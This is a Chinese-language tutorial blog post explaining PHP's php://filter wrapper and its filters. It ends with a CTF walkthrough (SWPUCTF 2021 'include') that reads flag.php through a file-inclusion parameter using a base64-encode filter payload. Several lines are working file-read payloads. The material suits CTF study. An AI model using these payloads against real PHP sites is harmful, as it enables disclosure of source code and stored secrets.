php://filter协议在任意文件读取漏洞(附例题)

php://filter

php://fiter 中文叫 元器封装,咱也不知道为什么这么翻译,目前我的理解是可以通过这个玩意对上面提到的php IO流进行处理,及现在可以对php的 IO流进行一定操作。

过滤器:及通过php://filter 对php 的IO流进行的具体操作

              格式为:php://filter / [read|write =] 过滤器 / resource= 目标文件 
        解释:对目标文件的IO流的输出流(read)或输入流(write)进行 过滤器的操作处理 

过滤器的分类

 string filter(字符过滤器)
                string.rot13  (对字符串执行 ROT13 转换)
                        例:php://filter/string.rot13/resource=flag.php
                string.toupper (转大写)
                        例:php://filter/string.toupper/resource=flag.php
                string.tolower (转小写)
                string.strip_tags (去除 HTML 和 PHP 标记,尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果)
                        例:php://filter/string.strip_tags/resource=flag.php 
conversion filter (转换过滤器)
                convert.base64-encode & convert.base64-decode (base64加密 base64解密)
                        例:php://filter/convert.base64-encode/resource=flag.php
                convert.quoted-printable-encode & convert.quoted-printable-decode(在字符串后加=0A,及恢复)
        compression filter(压缩过滤)
                zlib.deflate & zlib.inflate(压缩 解压)
                        例:php://filter/zlib.deflate/resource=flag.php                                                       
                            php://filter/zlib.inflate/resource=flag.php
                bzip2.compress & bzip2.decompress(zip 压缩 解压)
 encryption filter(加密过滤器) 

题目:[SWPUCTF 2021 新生赛]include

打开题目,发现传一个file,发现flag在flag.php中

因为allow_url_include 状态为on,可知php伪协议,用filter读取flag.php里面的信息

/?file=php://filter/read=convert.base64-encode/resource=flag.php

发现是一段编码,base64解密

得到答案!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值